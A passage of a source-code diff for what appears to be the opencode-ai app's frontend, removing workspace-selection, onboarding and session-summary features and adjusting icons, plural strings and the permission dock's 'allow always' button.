-  const tabs = useTabs()
-  const openWorkspaces = useSettingsDialog("workspaces")
-  const draftTab = createMemo(() =>
-    tabs.store.find((tab): tab is DraftTab => tab.type === "draft" && tab.draftID === search.draftId),
-  )
-  const workspace = createNewSessionWorkspaceController({
-    selected: () => draftTab()?.worktree,
-    setSelected: (worktree) => {
-      if (search.draftId) tabs.updateDraft(search.draftId, { worktree })
-    },
-    onViewAll: openWorkspaces,
-  })
+  const workspace = createNewSessionWorkspaceController()
   const draft = createNewSessionDraftController({
     worktree: workspace.selection.value,
     resetWorktree: workspace.selection.reset,
-    onSubmit: workspace.selection.remember,
   })
   const project = createPromptProjectController({
     controls: draft.project.controls,

packages/app/src/pages/new-session/new-session-draft-controller.ts

@@ -10,11 +10,7 @@ import { createPromptModelSelection } from "@/pages/session/composer/prompt-mode
 import { useSessionKey } from "@/pages/session/session-layout"
 import { useComposerCommands } from "@/pages/session/use-composer-commands"
 
-export function createNewSessionDraftController(workspace: {
-  worktree: () => string
-  resetWorktree: () => void
-  onSubmit: () => void
-}) {
+export function createNewSessionDraftController(workspace: { worktree: () => string; resetWorktree: () => void }) {
   const prompt = usePrompt()
   const serverSync = useServerSync()
   const comments = useComments()
@@ -40,10 +36,7 @@ export function createNewSessionDraftController(workspace: {
       return workspace.worktree()
     },
     onNewSessionWorktreeReset: workspace.resetWorktree,
-    onSubmit: () => {
-      workspace.onSubmit()
-      comments.clear()
-    },
+    onSubmit: comments.clear,
   })
 
   createEffect(() => {

packages/app/src/pages/new-session/new-session-view.tsx

@@ -1,6 +1,6 @@
 import { useDialog } from "@opencode-ai/ui/context/dialog"
 import { Tooltip } from "@opencode-ai/ui/tooltip"
-import { Icon } from "@opencode-ai/ui/v2/icon"
+import { Icon as IconV2 } from "@opencode-ai/ui/v2/icon"
 import { TooltipV2 } from "@opencode-ai/ui/v2/tooltip-v2"
 import { WordmarkV2 } from "@opencode-ai/ui/v2/wordmark-v2"
 import { Show, createMemo, createSignal } from "solid-js"
@@ -31,15 +31,6 @@ export function NewSessionView(props: {
   project: PromptProjectController
   workspace: NewSessionWorkspaceController
 }) {
-  const [onboarding, setOnboarding, , onboardingReady] = persisted(
-    Persist.global("workspace-onboarding"),
-    createStore({ used: false }),
-  )
-  const select = (value: string) => {
-    props.workspace.selection.set(value)
-    if (value !== "main") setOnboarding("used", true)
-  }
-
   return (
     <div class="@container relative flex flex-col min-h-0 h-full flex-1">
       <div
@@ -50,7 +41,7 @@ export function NewSessionView(props: {
           <div class={NEW_SESSION_CONTENT_WIDTH}>
             <WordmarkV2 class="h-auto w-full text-v2-background-bg-inverse" />
             <div class="mt-8 flex flex-col gap-8">
-              <PromptInputV2Composer controller={props.input} accentSubmit={props.workspace.selection.workspace()} />
+              <PromptInputV2Composer controller={props.input} />
               <Show when={props.project.empty()}>
                 <PromptProjectAddButton controller={props.project} />
               </Show>
@@ -68,10 +59,8 @@ export function NewSessionView(props: {
                       projectRoot={props.workspace.project.root()}
                       workspaces={props.workspace.project.workspaces()}
                       branch={props.workspace.bar.branch()}
-                      onboarding={onboardingReady() && !onboarding.used}
-                      onChange={select}
+                      onChange={props.workspace.selection.set}
                       onDone={props.input.restoreFocus}
-                      onViewAll={props.workspace.project.openAll}
                     />
                   </Show>
                 </div>
@@ -148,7 +137,7 @@ function ProviderTip() {
           >
             <span class="truncate">{language.t("home.providerTip")}</span>
             <span class="flex size-6 shrink-0 items-center justify-center" aria-hidden="true">
-              <Icon name="chevron-down" size="small" class="-rotate-90" />
+              <IconV2 name="chevron-down" size="small" class="-rotate-90" />
             </span>
           </button>
           <TooltipV2
@@ -163,7 +152,7 @@ function ProviderTip() {
               aria-label={language.t("common.dismiss")}
               onClick={() => setPersistedState("dismissedAt", Date.now())}
             >
-              <Icon name="xmark-small" />
+              <IconV2 name="xmark-small" />
             </button>
           </TooltipV2>
         </div>

packages/app/src/pages/new-session/new-session-workspace-controller.ts

@@ -1,28 +1,20 @@
-import { createMemo } from "solid-js"
+import { createMemo, createSignal } from "solid-js"
 import { useSDK } from "@/context/sdk"
-import { useServerSDK } from "@/context/server-sdk"
 import { useServerSync } from "@/context/server-sync"
-import { useSettings } from "@/context/settings"
 import { useSync } from "@/context/sync"
-import { pathKey } from "@/utils/path-key"
-import {
-  isWorkspaceDirectory,
-  isWorkspaceSelection,
-  workspaceDefaultSelection,
-  workspaceDirectories,
-} from "@/utils/workspace"
+
+const workspaceBarEnabled = import.meta.env.VITE_OPENCODE_CHANNEL !== "prod"
 
 export function resolveNewSessionWorktree(input: {
   enabled: boolean
   selected?: string
   directory: string
   projectWorktree?: string
-  fallback?: string
 }) {
   if (!input.enabled) return "main"
   if (input.selected) return input.selected
   if (input.projectWorktree && input.directory !== input.projectWorktree) return input.directory
-  return input.fallback ?? "main"
+  return "main"
 }
 
 export function normalizeNewSessionWorktree(value: string, directory: string, projectWorktree?: string) {
@@ -39,38 +31,18 @@ export function resolveNewSessionBranch(input: {
   return input.worktreeBranch(input.worktree) ?? input.local
 }
 
-export function createNewSessionWorkspaceController(input: {
-  selected: () => string | undefined
-  setSelected: (worktree: string | undefined) => void
-  onViewAll: () => void
-}) {
+export function createNewSessionWorkspaceController() {
   const sdk = useSDK()
   const sync = useSync()
-  const serverSDK = useServerSDK()
   const serverSync = useServerSync()
-  const settings = useSettings()
-  const visible = createMemo(() => sync().project?.vcs === "git")
-  const selected = createMemo(() => {
-    const project = sync().project
-    const worktree = input.selected()
-    if (!project || !worktree) return
-    return isWorkspaceSelection(project, worktree) ? worktree : undefined
-  })
-  const fallback = createMemo(() => {
-    const project = sync().project
-    if (!project) return "main"
-    return workspaceDefaultSelection(
-      settings.workspaces.defaultDestination(),
-      settings.workspaces.lastUsed(serverSDK().scope, project.id),
-    )
-  })
+  const [worktree, setWorktree] = createSignal<string>()
+  const visible = createMemo(() => workspaceBarEnabled && sync().project?.vcs === "git")
   const value = createMemo(() =>
     resolveNewSessionWorktree({
       enabled: visible(),
-      selected: selected(),
+      selected: worktree(),
       directory: sdk().directory,
       projectWorktree: sync().project?.worktree,
-      fallback: fallback(),
     }),
   )
   const projectRoot = createMemo(() => sync().project?.worktree ?? sdk().directory)
@@ -82,36 +54,18 @@ export function createNewSessionWorkspaceController(input: {
       worktreeBranch: (worktree) => serverSync().child(worktree)[0].vcs?.branch,
     }),
   )
-  const remember = (worktree = value()) => {
-    const project = sync().project
-    if (!project) return
-    const local = worktree === "main" || pathKey(worktree) === pathKey(project.worktree)
-    settings.workspaces.setLastUsed(serverSDK().scope, project.id, local ? "local" : "workspace")
-  }
 
   return {
     selection: {
       value,
-      workspace: createMemo(() => {
-        const project = sync().project
-        const current = value()
-        return current === "create" || (!!project && isWorkspaceDirectory(project, current))
-      }),
-      reset: () => input.setSelected(undefined),
-      remember,
-      set: (worktree: string) => {
-        input.setSelected(normalizeNewSessionWorktree(worktree, sdk().directory, sync().project?.worktree))
-        remember(worktree)
-      },
+      reset: () => setWorktree(),
+      set: (worktree: string) =>
+        setWorktree(normalizeNewSessionWorktree(worktree, sdk().directory, sync().project?.worktree)),
     },
     project: {
       root: projectRoot,
-      workspaces: () => {
-        const project = sync().project
-        return project ? workspaceDirectories(project) : []
-      },
+      workspaces: () => sync().project?.sandboxes ?? [],
       git: () => sync().project?.vcs === "git",
-      openAll: input.onViewAll,
     },
     bar: {
       visible,

packages/app/src/pages/session-lazy.ts

@@ -1,4 +0,0 @@
-import { lazy } from "solid-js"
-
-export const TargetSessionRoute = lazy(() => import("./target-session-route"))
-export const preloadSessionRoute = TargetSessionRoute.preload

packages/app/src/pages/session.tsx

@@ -38,7 +38,6 @@ import { createAutoScroll } from "@opencode-ai/ui/hooks"
 import { previewSelectedLines } from "@opencode-ai/session-ui/pierre/selection-bridge"
 import { Button } from "@opencode-ai/ui/button"
 import { showToast } from "@/utils/toast"
-import { isWorkspaceDirectory } from "@/utils/workspace"
 import { base64Encode, checksum } from "@opencode-ai/core/util/encode"
 import { useLocation, useNavigate, useParams, useSearchParams } from "@solidjs/router"
 import { NewSessionView, SessionHeader } from "@/components/session"
@@ -519,8 +518,6 @@ export default function Page() {
     if (!controller.layout.view().reviewPanel.opened()) controller.layout.view().reviewPanel.open()
   }
 
-  const sessionDirectory = createMemo(() => controller.data.info()?.location.directory ?? sdk().directory)
-  const workspaceSession = createMemo(() => isWorkspaceDirectory(sync().project, sessionDirectory()))
   const timeline = createTimelineModel({ session: controller })
   const historyLoading = timeline.history.loading
   const historyMore = timeline.history.more
@@ -575,7 +572,6 @@ export default function Page() {
   const [store, setStore] = createStore({
     ...sessionViewState(),
     newSessionWorktree: "main",
-    sessionDetailsOpen: false,
     deferRender: false,
   })
 
@@ -680,23 +676,8 @@ export default function Page() {
         : skipToken,
     }
   })
-  const sessionDetailsQuery = createQuery(() => ({
-    queryKey: [serverSDK().scope, "session-details", sessionDirectory()] as const,
-    enabled:
-      store.sessionDetailsOpen && serverSDK().connection.status() === "connected" && sync().project?.vcs === "git",
-    queryFn: () =>
-      sdk()
-        .api.vcs.diff({ location: { directory: sessionDirectory() }, mode: "working" })
-        .then((result) => result.data)
-        .catch((error) => {
-          console.debug("[session-review] failed to load session details diff", { error })
-          return []
-        }),
-  }))
-  const sessionDetailsDiffs = () => (sessionDetailsQuery.isFetched ? (sessionDetailsQuery.data ?? []) : [])
   const refreshVcs = debounce(() => {
     void queryClient.invalidateQueries({ queryKey: vcsKey() })
-    void queryClient.invalidateQueries({ queryKey: [serverSDK().scope, "session-details", sessionDirectory()] })
   }, 100)
   onCleanup(
     sdk().event.listen((event) => {
@@ -1706,6 +1687,7 @@ export default function Page() {
   }
 
   const busy = (sessionID: string) => sync().data.session_working(sessionID)
+
   const queuedFollowups = createMemo(() => {
     const id = controller.identity.params.id
     if (!id) return emptyFollowups
@@ -1718,12 +1700,6 @@ export default function Page() {
     return followup.edit[id]
   })
 
-  const workspaceMoveEligible = createMemo(() => {
-    const id = controller.identity.params.id
-    if (!id) return false
-    return (followup.items[id]?.length ?? 0) === 0 && !followup.failed[id] && !followup.paused[id] && !followup.edit[id]
-  })
-
   const followupMutation = useMutation(() => ({
     mutationFn: async (input: { sessionID: string; id: string; manual?: boolean }) => {
       const owner = controller.ownership.capture()
@@ -2060,7 +2036,7 @@ export default function Page() {
         >
           {hasReview()
             ? language.t("session.review.filesChanged", { count: reviewCount() })
-            : language.plural("session.review.change", 0)}
+            : language.t("session.review.change.other")}
         </Tabs.Trigger>
       </Tabs.List>
     </Tabs>
@@ -2126,9 +2102,6 @@ export default function Page() {
                     if (root) scheduleScrollState(root)
                   }}
                   userMessages={visibleUserMessages()}
-                  diffs={sessionDetailsDiffs}
-                  workspaceMoveEligible={workspaceMoveEligible()}
-                  onSummaryOpenChange={(open) => setStore("sessionDetailsOpen", open)}
                   setHistoryAnchor={(handlers) => {
                     captureHistoryAnchor = handlers.capture
                     restoreHistoryAnchor = handlers.restore
@@ -2256,13 +2229,7 @@ export default function Page() {
                         setFollowup("paused", id, true)
                       },
                     })
-                    return (
-                      <PromptInputV2Composer
-                        controller={promptInputController}
-                        borderUnderlay
-                        accentSubmit={workspaceSession()}
-                      />
-                    )
+                    return <PromptInputV2Composer controller={promptInputController} borderUnderlay />
                   }}
                 </Show>
               }

packages/app/src/pages/session/composer/session-composer-controls.ts

@@ -86,7 +86,7 @@ export function createPromptProjectControls() {
       const target = global.ensureServerCtx(conn)
       target.projects.open(worktree)
       target.projects.touch(worktree)
-      tabs.updateDraft(search.draftId, { server: ServerConnection.key(conn), directory: worktree, worktree: undefined })
+      tabs.updateDraft(search.draftId, { server: ServerConnection.key(conn), directory: worktree })
       return
     }
 

packages/app/src/pages/session/composer/session-permission-dock.tsx

@@ -37,14 +37,16 @@ export function SessionPermissionDock(props: {
             <Button variant="ghost" size="normal" onClick={() => props.onDecide("reject")} disabled={props.responding}>
               {language.t("ui.permission.deny")}
             </Button>
-            <Button
-              variant="secondary"
-              size="normal"
-              onClick={() => props.onDecide("always")}
-              disabled={props.responding}
-            >
-              {language.t("ui.permission.allowAlways")}
-            </Button>
+            <Show when={props.request.save?.length}>
+              <Button
+                variant="secondary"
+                size="normal"
+                onClick={() => props.onDecide("always")}
+                disabled={props.responding}
+              >
+                {language.t("ui.permission.allowAlways")}
+              </Button>
+            </Show>
             <Button variant="primary" size="normal" onClick={() => props.onDecide("once")} disabled={props.responding}>
               {language.t("ui.permission.allowOnce")}
             </Button>

packages/app/src/pages/session/session-side-panel.tsx

@@ -782,7 +782,10 @@ export function SessionSidePanel(props: {
                           when={settings.general.newLayoutDesigns()}
                           fallback={
                             <>
-                              {props.reviewCount} {language.plural("session.review.change", props.reviewCount)}
+                              {props.reviewCount}{" "}
+                              {language.t(
+                                props.reviewCount === 1 ? "session.review.change.one" : "session.review.change.other",
+                              )}
                             </>
                           }
                         >

packages/app/src/pages/session/timeline/message-timeline.tsx

@@ -33,8 +33,6 @@ import { Icon as IconV2 } from "@opencode-ai/ui/v2/icon"
 import { IconButtonV2 } from "@opencode-ai/ui/v2/icon-button-v2"
 import { DropdownMenu } from "@opencode-ai/ui/dropdown-menu"
 import { MenuV2 } from "@opencode-ai/ui/v2/menu-v2"
-import { TooltipV2 } from "@opencode-ai/ui/v2/tooltip-v2"
-import { ProjectAvatar } from "@opencode-ai/ui/v2/project-avatar-v2"
 import { InlineInput } from "@opencode-ai/ui/inline-input"
 import { ButtonV2 } from "@opencode-ai/ui/v2/button-v2"
 import { SessionRetry } from "@opencode-ai/session-ui/session-retry"
@@ -43,7 +41,7 @@ import { StickyAccordionHeader } from "@opencode-ai/ui/sticky-accordion-header"
 import { TextField } from "@opencode-ai/ui/text-field"
 import { TextReveal } from "@opencode-ai/ui/text-reveal"
 import { TextShimmer } from "@opencode-ai/ui/text-shimmer"
-import type { AssistantMessage, Project, ToolPart, UserMessage } from "@/types"
+import type { AssistantMessage, ToolPart, UserMessage } from "@/types"
 import { getDirectory, getFilename } from "@opencode-ai/core/util/path"
 import { Popover as KobaltePopover } from "@kobalte/core/popover"
 import { normalize } from "@opencode-ai/session-ui/session-diff"
@@ -51,19 +49,11 @@ import { useFileComponent } from "@opencode-ai/ui/context/file"
 import { shouldMarkBoundaryGesture, normalizeWheelDelta } from "@/pages/session/message-gesture"
 import { SessionContextUsage } from "@/components/session-context-usage"
 import { useLanguage } from "@/context/language"
-import { useServerSync } from "@/context/server-sync"
-import { useSDK } from "@/context/sdk"
-import { useSync } from "@/context/sync"
-import { useCommand } from "@/context/command"
 import { scheduleConnectedMeasure } from "./measure"
 import { observeElementOffsetReconnectAware } from "./observe-element-offset"
 import { MessageComment, SummaryDiff, TimelineRow, TimelineRowMap } from "./rows"
 import { filterVirtualIndexes } from "./virtual-items"
 import { createTimelineController, type TimelineController, type TimelineSessionSource } from "./controller"
-import { isWorkspaceDirectory } from "@/utils/workspace"
-import { SessionWorkspaceMenu } from "@/components/session-workspace-menu"
-import { getProjectAvatarVariant } from "@/context/layout"
-import { displayName, getProjectAvatarSource } from "@/pages/layout/helpers"
 import type { SessionMessageInfo } from "@opencode-ai/client/promise"
 
 const emptyTools: ToolPart[] = []
@@ -119,7 +109,7 @@ function TimelineThinkingRow(props: { reasoningHeading?: string; showReasoningSu
   )
 }
 
-function TimelineDiffSummaryRow(props: { diffs: SummaryDiff[]; action?: JSX.Element }) {
+function TimelineDiffSummaryRow(props: { diffs: SummaryDiff[] }) {
   const language = useLanguage()
   const maxFiles = 10
   const [state, setState] = createStore({
@@ -147,7 +137,6 @@ function TimelineDiffSummaryRow(props: { diffs: SummaryDiff[]; action?: JSX.Elem
             {showAll() ? language.t("ui.sessionTurn.diffs.showLess") : language.t("ui.sessionTurn.diffs.showAll")}
           </span>
         </Show>
-        {props.action}
       </div>
       <div data-component="session-turn-diffs-content">
         <Accordion
@@ -202,162 +191,6 @@ function TimelineDiffSummaryRow(props: { diffs: SummaryDiff[]; action?: JSX.Elem
   )
 }
 
-function WorkspaceMoveAction(props: {
-  variant: "inline" | "panel"
-  eligible: boolean
-  sessionID: string
-  project: Project
-  directory: string
-  messageID?: string
-  dismissed: boolean
-  onDismiss: () => void
-}) {
-  const language = useLanguage()
-  const inline = () => props.variant === "inline"
-  return (
-    <div
-      classList={{
-        "group/workspace-move relative shrink-0": true,
-        "ms-auto h-5 w-[167px]": inline(),
-        "-mt-2.5 h-[46px] w-full rounded-b-[6px] bg-v2-background-bg-layer-02 hover:bg-v2-background-bg-layer-03 transition-colors":
-          !inline(),
-        invisible: props.dismissed,
-      }}
-    >
-      <SessionWorkspaceMenu
-        eligible={props.eligible}
-        sessionID={props.sessionID}
-        project={props.project}
-        directory={props.directory}
-        messageID={props.messageID}
-        placement={inline() ? "bottom-end" : language.direction() === "rtl" ? "right-start" : "left-start"}
-        gutter={inline() ? 4 : -22}
-        contentClass={inline() ? undefined : "relative top-3.5"}
-        class={
-          inline()
-            ? "flex h-5 w-full items-center gap-1.5 rounded-[4px] pe-6 text-[13px] font-[440] leading-5 tracking-[-0.04px] text-v2-text-text-faint hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none data-[expanded]:bg-v2-overlay-simple-overlay-pressed"
-            : "flex h-[46px] w-full items-center gap-2 rounded-b-[6px] px-3 pe-9 pt-2.5 text-[13px] font-[440] leading-5 tracking-[-0.04px] text-v2-text-text-muted focus-visible:outline-none"
-        }
-      >
-        <IconV2 name="workspace-new" class="shrink-0 text-v2-icon-icon-muted" />
-        <span class="min-w-0 truncate">{language.t("workspace.move.title")}</span>
-      </SessionWorkspaceMenu>
-      <button
-        type="button"
-        class={`absolute flex size-5 -translate-y-1/2 items-center justify-center rounded-[4px] text-v2-icon-icon-muted hover:bg-v2-overlay-simple-overlay-hover hover:text-v2-icon-icon-base focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:text-v2-icon-icon-base focus-visible:outline-none ${
-          inline()
-            ? "end-0 top-1/2"
-            : "hover-reveal end-3 top-[calc(50%+5px)] group-hover/workspace-move:opacity-100 group-focus-within/workspace-move:opacity-100"
-        }`}
-        aria-label={language.t("common.dismiss")}
-        onClick={(event) => {
-          event.stopPropagation()
-          props.onDismiss()
-        }}
-      >
-        <IconV2 name="xmark-small" />
-      </button>
-    </div>
-  )
-}
-
-function SessionSummaryPanel(props: {
-  project: Project
-  directory: string
-  local: boolean
-  branch?: string
-  baseBranch?: string
-  diffs: { additions: number; deletions: number }[]
-  sessionID: string
-  moveEligible: boolean
-  messageID?: string
-  moveDismissed: boolean
-  onMoveDismiss: () => void
-  onReview: () => void
-}) {
-  const language = useLanguage()
-  const location = () => (props.local ? language.t("session.new.workspace.local") : getFilename(props.directory))
-  const branch = () => props.branch ?? props.baseBranch
-  const row =
-    "flex h-7 w-full items-center gap-2 rounded-[4px] px-3 text-[13px] font-[440] leading-5 tracking-[-0.04px] text-v2-text-text-base"
-
-  return (
-    <div data-component="session-summary-panel" class="w-[280px]">
-      <div class="relative z-10 flex flex-col gap-1 overflow-hidden rounded-[6px] bg-v2-background-bg-base px-0.5 py-1.5 shadow-[var(--v2-elevation-raised)]">
-        <div class={row}>
-          <ProjectAvatar
-            fallback={displayName(props.project)}
-            src={getProjectAvatarSource(props.project.id, props.project.icon)}
-            variant={getProjectAvatarVariant(props.project.icon?.color)}
-          />
-          <span class="min-w-0 flex-1 truncate text-v2-text-text-muted">{displayName(props.project)}</span>
-        </div>
-        <SessionWorkspaceMenu
-          eligible={props.moveEligible}
-          sessionID={props.sessionID}
-          project={props.project}
-          directory={props.directory}
-          messageID={props.messageID}
-          placement={language.direction() === "rtl" ? "right-start" : "left-start"}
-          gutter={-22}
-          class={`${row} hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none data-[expanded]:bg-v2-overlay-simple-overlay-pressed`}
-        >
-          <IconV2 name={props.local ? "monitor" : "workspace-isolated"} class="shrink-0 text-v2-icon-icon-muted" />
-          <span class="min-w-0 flex-1 truncate text-start">{location()}</span>
-          <IconV2 name="chevron-down" size="small" class="shrink-0 text-v2-icon-icon-muted" />
-        </SessionWorkspaceMenu>
-        <div class={row}>
-          <IconV2 name="branch" class="shrink-0 text-v2-icon-icon-muted" />
-          <Show
-            when={props.branch}
-            fallback={
-              <span class="flex min-w-0 items-center gap-1.5">
-                <span>{language.t("session.summary.noBranch")}</span>
-                <Show when={props.baseBranch}>
-                  {(base) => (
-                    <>
-                      <span class="text-v2-text-text-muted">·</span>
-                      <span class="truncate text-v2-text-text-faint">
-                        {language.t("session.summary.basedOn", { branch: base() })}
-                      </span>
-                    </>
-                  )}
-                </Show>
-              </span>
-            }
-          >
-            <span class="min-w-0 truncate">{branch()}</span>
-          </Show>
-        </div>
-        <button
-          type="button"
-          class={`${row} hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none`}
-          onClick={props.onReview}
-        >
-          <IconV2 name="review" class="shrink-0 text-v2-icon-icon-muted" />
-          <Show when={props.diffs.length > 0} fallback={<span>{language.t("session.review.noChanges")}</span>}>
-            <span>{language.plural("ui.sessionTurn.diffs.changed", props.diffs.length)}</span>
-            <span class="text-v2-text-text-muted">·</span>
-            <DiffChanges changes={props.diffs} />
-          </Show>
-        </button>
-      </div>
-      <Show when={props.local && props.diffs.length > 0 && props.moveEligible}>
-        <WorkspaceMoveAction
-          variant="panel"
-          eligible={props.moveEligible}
-          sessionID={props.sessionID}
-          project={props.project}
-          directory={props.directory}
-          messageID={props.messageID}
-          dismissed={props.moveDismissed}
-          onDismiss={props.onMoveDismiss}
-        />
-      </Show>
-    </div>
-  )
-}
-
 function TimelineDiffView(props: { diff: SummaryDiff }) {
   const fileComponent = useFileComponent()
   const view = normalize(props.diff)
@@ -386,9 +219,6 @@ type MessageTimelineProps = {
   centered: boolean
   setContentRef: (el: HTMLDivElement) => void
   userMessages: UserMessage[]
-  diffs: Accessor<{ additions: number; deletions: number }[]>
-  workspaceMoveEligible: boolean
-  onSummaryOpenChange: (open: boolean) => void
   anchor: (id: string) => string
   setRevealMessage?: (fn: (id: string) => void) => void
   setScrollToEnd?: (fn: () => void) => void
@@ -411,10 +241,6 @@ function MessageTimelineView(
 ) {
   let touchGesture: number | undefined
   const language = useLanguage()
-  const serverSync = useServerSync()
-  const sdk = useSDK()
-  const sync = useSync()
-  const command = useCommand()
   const shouldAnchorBottom = createMemo(() => props.shouldAnchorBottom)
   const hasScrollGesture = createMemo(() => props.hasScrollGesture)
   const ownerSessionKey = props.data.sessionKey()
@@ -431,35 +257,19 @@ function MessageTimelineView(
   const parentID = props.data.parentID
   const parentTitle = props.data.parentTitle
   const childTitle = props.data.childTitle
+  const showHeader = props.data.showHeader
   const getMsgParts = props.data.parts
   const getMsgPart = props.data.part
   const projection = props.data.projection
-  const sessionDirectory = createMemo(() => props.session.data.info()?.location.directory ?? sdk().directory)
-  const workspaceSession = createMemo(() => isWorkspaceDirectory(sync().project, sessionDirectory()))
-  const [workspaceSuggestionDismissed, setWorkspaceSuggestionDismissed] = createSignal(false)
-  const [summaryOpen, setSummaryOpen] = createSignal(false)
-  const setSummary = (open: boolean) => {
-    setSummaryOpen(open)
-    props.onSummaryOpenChange(open)
-  }
-  const sessionDiffs = createMemo(props.diffs)
-  createEffect(
-    on(sessionID, () => {
-      setSummary(false)
-      setWorkspaceSuggestionDismissed(false)
-    }),
-  )
-  const turnPadding = () => "px-4 md:px-5"
-  const showHeader = createMemo(() => props.data.showHeader() || workspaceSession())
   const activeMessageID = projection.activeMessageID
   const assistantMessagesByParent = projection.assistantMessagesByParent
   const lastAssistantGroupKey = projection.lastAssistantGroupKey
   const messageByID = projection.messageByID
+  const sessionMessageByID = projection.sessionMessageByID
   const messageLastRowIndex = projection.messageLastRowIndex
   const messageRowIndex = projection.messageRowIndex
   const timelineRowByKey = projection.rowByKey
   const timelineRows = projection.rows
-  const sessionMessageByID = projection.sessionMessageByID
   const noticeContent = (message: SessionMessageInfo) => {
     if (message.type === "agent-switched")
       return {
@@ -978,7 +788,7 @@ function MessageTimelineView(
         )
         return (
           <TimelineRowFrame row={commentStripRow()}>
-            <div class={`w-full pb-2 ${turnPadding()}`}>
+            <div class="w-full px-4 md:px-5 pb-2">
               <div class="ms-auto max-w-[82%] overflow-x-auto no-scrollbar">
                 <div class="flex w-max min-w-full justify-end gap-2">
                   <Index each={comments()}>
@@ -1029,7 +839,7 @@ function MessageTimelineView(
           <TimelineRowFrame row={userMessageRow()}>
             <Show when={message()}>
               {(message) => (
-                <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+                <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
                   <div data-slot="session-turn-message-content" aria-live="off">
                     <Message
                       message={message()}
@@ -1055,7 +865,7 @@ function MessageTimelineView(
           <TimelineRowFrame row={noticeRow()}>
             <Show when={content()}>
               {(content) => (
-                <div data-slot="session-timeline-notice" class={`w-full pt-3 pb-1 text-13-regular ${turnPadding()}`}>
+                <div data-slot="session-timeline-notice" class="w-full px-4 pt-3 pb-1 md:px-5 text-13-regular">
                   <span class="text-13-medium text-text-strong">{content().label}</span>
                   <Show when={content().data}>{(data) => <span class="text-text-weak"> · {data()}</span>}</Show>
                 </div>
@@ -1068,7 +878,7 @@ function MessageTimelineView(
         const turnDividerRow = row as Accessor<TimelineRowByTag<"TurnDivider">>
         return (
           <TimelineRowFrame row={turnDividerRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
               <div data-slot="session-turn-compaction">
                 <MessageDivider
                   label={language.t(
@@ -1084,7 +894,7 @@ function MessageTimelineView(
         const assistantPartRow = row as Accessor<TimelineRowByTag<"AssistantPart">>
         return (
           <TimelineRowFrame row={assistantPartRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
               <div
                 data-slot="session-turn-assistant-content"
                 aria-hidden={workingTurn(assistantPartRow().userMessageID)}
@@ -1099,7 +909,7 @@ function MessageTimelineView(
         const thinkingRow = row as Accessor<TimelineRowByTag<"Thinking">>
         return (
           <TimelineRowFrame row={thinkingRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
               <TimelineThinkingRow
                 reasoningHeading={thinkingRow().reasoningHeading}
                 showReasoningSummaries={props.data.showReasoningSummaries()}
@@ -1112,7 +922,7 @@ function MessageTimelineView(
         const retryRow = row as Accessor<TimelineRowByTag<"Retry">>
         return (
           <TimelineRowFrame row={retryRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
               <SessionRetry status={sessionStatus()} show={activeMessageID() === retryRow().userMessageID} />
             </div>
           </TimelineRowFrame>
@@ -1120,35 +930,10 @@ function MessageTimelineView(
       }
       case "DiffSummary": {
         const diffSummaryRow = row as Accessor<TimelineRowByTag<"DiffSummary">>
-        const canMove = () =>
-          props.data.newLayoutDesigns() &&
-          diffSummaryRow().userMessageID === props.userMessages.at(-1)?.id &&
-          !workspaceSession() &&
-          props.workspaceMoveEligible &&
-          sync().project?.vcs === "git" &&
-          sessionStatus().type === "idle"
         return (
           <TimelineRowFrame row={diffSummaryRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
-              <TimelineDiffSummaryRow
-                diffs={diffSummaryRow().diffs}
-                action={
-                  <Show when={canMove() && sync().project}>
-                    {(project) => (
-                      <WorkspaceMoveAction
-                        variant="inline"
-                        eligible={props.workspaceMoveEligible}
-                        sessionID={sessionID()!}
-                        project={project()}
-                        directory={sessionDirectory()}
-                        messageID={diffSummaryRow().userMessageID}
-                        dismissed={workspaceSuggestionDismissed()}
-                        onDismiss={() => setWorkspaceSuggestionDismissed(true)}
-                      />
-                    )}
-                  </Show>
-                }
-              />
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
+              <TimelineDiffSummaryRow diffs={diffSummaryRow().diffs} />
             </div>
           </TimelineRowFrame>
         )
@@ -1157,7 +942,7 @@ function MessageTimelineView(
         const errorRow = row as Accessor<TimelineRowByTag<"Error">>
         return (
           <TimelineRowFrame row={errorRow()}>
-            <div data-slot="session-turn-message-container" class={`w-full ${turnPadding()}`}>
+            <div data-slot="session-turn-message-container" class="w-full px-4 md:px-5">
               <Card variant="error" class="error-card">
                 {errorRow().text}
               </Card>
@@ -1239,7 +1024,7 @@ function MessageTimelineView(
   }
 
   return (
-    <div class="relative w-full h-full min-w-0" data-workspace-session={workspaceSession() ? "" : undefined}>
+    <div class="relative w-full h-full min-w-0">
       <div
         class="absolute left-1/2 -translate-x-1/2 z-[60] pointer-events-none transition-all duration-200 ease-out"
         classList={{
@@ -1334,30 +1119,6 @@ function MessageTimelineView(
                 }}
               >
                 <div class="flex items-center min-w-0 flex-1 w-full">
-                  <Show when={props.data.newLayoutDesigns()}>
-                    <Show
-                      when={workspaceSession()}
-                      fallback={
-                        <span class="flex size-6 shrink-0 items-center justify-center text-v2-icon-icon-muted">
-                          <IconV2 name="monitor" />
-                        </span>
-                      }
-                    >
-                      <TooltipV2
-                        placement="bottom-start"
-                        value={sessionDirectory()}
-                        contentClass="max-w-[calc(100vw-32px)] break-all"
-                      >
-                        <span
-                          tabIndex={0}
-                          aria-label={sessionDirectory()}
-                          class="flex size-6 shrink-0 items-center justify-center text-v2-icon-icon-accent"
-                        >
-                          <IconV2 name="workspace-isolated" />
-                        </span>
-                      </TooltipV2>
-                    </Show>
-                  </Show>
